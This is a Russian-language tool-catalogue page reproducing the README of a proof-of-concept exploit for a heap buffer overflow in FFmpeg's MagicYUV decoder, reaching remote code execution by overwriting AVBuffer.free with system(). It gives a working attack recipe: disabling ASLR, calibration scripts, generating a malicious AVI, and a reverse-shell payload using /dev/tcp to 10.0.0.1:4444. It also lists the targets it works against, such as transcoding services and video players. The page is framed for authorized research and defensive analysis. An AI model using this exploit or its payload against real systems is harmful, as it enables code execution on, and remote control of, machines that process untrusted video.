Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8461-EXP — Эксплойт доказательства концепции для CVE-2026-8461, переполнение буфера вне границ в куче в декодере MagicYUV в FFmpeg, достигающее удаленного выполнения кода через перехват AVBuffer.free. Включает скрипты калибровки для отладочных и производственных сборок. | Kitploit
Инструменты/GitHubGitHub/y5neko/cve-2026-8461-exp
Анализ уязвимостейЭксплуатацияCTFОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHuby5neko/cve-2026-8461-exp

CVE-2026-8461-EXP

Эксплойт доказательства концепции для CVE-2026-8461, переполнение буфера вне границ в куче в декодере MagicYUV в FFmpeg, достигающее удаленного выполнения кода через перехват AVBuffer.free. Включает скрипты калибровки для отладочных и производственных сборок.

Репозиторий
14283 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8461 «PixelSmash» — PoC переполнения кучи в MagicYUV декодере FFmpeg

[!WARNING] Этот репозиторий содержит работающий эксплойт PoC для уязвимости повреждения кучи. Он предназначен исключительно для авторизованных исследований безопасности, CTF-контекстов и защитного анализа. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

Затронуто: FFmpeg 8.0.1 декодер MagicYUV (libavcodec/magicyuv.c)
Примитив: Запись за границы кучи → перехват AVBuffer.free → вызов system()


Уязвимость

magy_decode_slice() использует sheight (неограниченная высота среза) как границу цикла для записи в выходную плоскость Cb/Cr, но выделяет буфер, используя ограниченное значение height. На последнем срезе специально созданного кадра цикл записывает за границы выделенной области.

// magicyuv.c:291 — указатель dst уже находится на sheight×stride после начала буфера
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // Запись за границы, если sheight > height

Запись за границы попадает в структуру AVBuffer, выделенную впоследствии. Управляя записываемыми байтами, AVBuffer.free перезаписывается адресом system(), а AVBuffer.opaque — адресом строки команды в куче. Когда фрейм освобождается, av_buffer_unref() вызывает system(cmd).

Полный технический разбор: English · 中文


Файлы

ФайлОписание
exploit_cve_2026_8461.pyГенератор вредоносного AVI — создаёт вредоносный битстрим MagicYUV
auto_calibrate.pyАвтокалибровка для отладочных сборок (требуются отладочные символы -g)
auto_calibrate_nosym.pyАвтокалибровка для релизных сборок (stripped, shared-library)
CVE-2026-8461_Analysis_EN.mdПолный анализ уязвимости (английский)
CVE-2026-8461_Analysis.mdПолный анализ уязвимости (中文)
ffmpeg_prodStripped production FFmpeg 8.0.1 binary для локального тестирования

Требования

Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR отключён — требуется для калибровки)

Python-зависимости: нет (только stdlib).


Быстрый старт

Шаг 0 — Отключите ASLR

sudo sysctl -w kernel.randomize_va_space=0

Шаг 1 — Сгенерируйте калибровку

Отладочная сборка (скомпилирована с -g, например, из исходников с --enable-debug):

python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

Релизная сборка (stripped shared-library, например, apt install ffmpeg или кастомная --enable-shared):

python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

Путь --avi должен быть одинаковым при калибровке и доставке эксплойта. Изменение длины строки пути смещает раскладку кучи и делает калибровку недействительной.

Шаг 2 — Сгенерируйте эксплойт AVI

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

Шаг 3 — Запустите

# Отладочная сборка (статическая линковка)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Релизная сборка (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# Системный FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

Ожидаемый вывод: команда выполняется, затем процесс падает с corrupted size vs. prev_size.

cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

image-20260624151409029

Пример reverse shell

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

Схема принятия решений для скриптов калибровки

Целевой бинарник FFmpeg
    │
    ├─ Есть отладочные символы? (file ffmpeg | grep debug_info)
    │       └─ ДА → auto_calibrate.py
    │
    └─ Stripped / production
            │
            ├─ Динамическая линковка? (ldd ffmpeg | grep libavutil)
            │       └─ ДА → auto_calibrate_nosym.py
            │
            └─ Статическая линковка + полностью stripped
                    └─ Ни один скрипт не подходит
                       (требуется подход с перехватом malloc через LD_PRELOAD)

auto_calibrate_nosym.py работает следующим образом:

  1. Останавливается на av_buffer_create (всегда присутствует в .dynsym библиотеки libavutil.so), чтобы захватить указатели данных Cb и Cr без необходимости в символах уровня исходного кода.
  2. Устанавливает аппаратную точку наблюдения GDB на запись для стартового адреса OOB.
  3. Анализирует полученный дамп кучи, чтобы найти структуру AVBuffer и извлечь адрес system().

Условия срабатывания

Эксплойт срабатывает, когда цель декодирует видеофрейм (а не просто пробует его):

ВызовСрабатывает RCE
ffmpeg -i evil.avi -f null -Да
ffmpeg -i evil.avi -o out.mp4Да
Веб-сервис транскодирования (цикл декодирования libavcodec)Да
Видеоплеер, использующий libavcodecДа
ffmpeg -i evil.avi (без указания выхода)Нет — процесс прерывается до вызова av_buffer_unref
ffprobe evil.aviНет — только пробный путь, без полного декодирования

Базовый PoC (только запись за границы, без полезной нагрузки)

Для демонстрации уязвимости без выполнения команды:

python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# падает с: free(): invalid pointer  или  corrupted size vs. prev_size

Область применения и ограничения

  • Архитектура: Разработано и протестировано только на x86_64. Эксплойт зависит от конкретной раскладки кучи, при которой структура AVBuffer оказывается в пределах 640 байт от начального адреса OOB плоскости Cb. На aarch64 порядок выделения памяти в glibc помещает AVBuffer за пределы этого диапазона (соседний чанк — это ~10 КБ буфер Cr), поэтому запись за границы не может его достичь при текущей геометрии фрейма. Перенос на aarch64 требует профилирования раскладки кучи aarch64 и соответствующей настройки геометрии фрейма.
  • ASLR: Должен быть отключён (kernel.randomize_va_space=0). При включённом ASLR адреса кучи рандомизируются при каждом запуске, и калибровка не работает. Для расширения на цели с включённым ASLR потребуется примитив утечки информации.
  • Область калибровки: Действительна только для одного конкретного бинарника на одной конкретной машине. Другая сборка, другая версия libc или другая длина пути к AVI требуют повторной калибровки.
  • Путь к AVI: Эксплойт AVI должен доставляться по тому же абсолютному пути, который использовался при калибровке.
  • auto_calibrate_nosym.py: Требует динамически слинкованный FFmpeg с доступной libavutil.so (либо в системных путях, либо через --libpath).
Скачать инструмент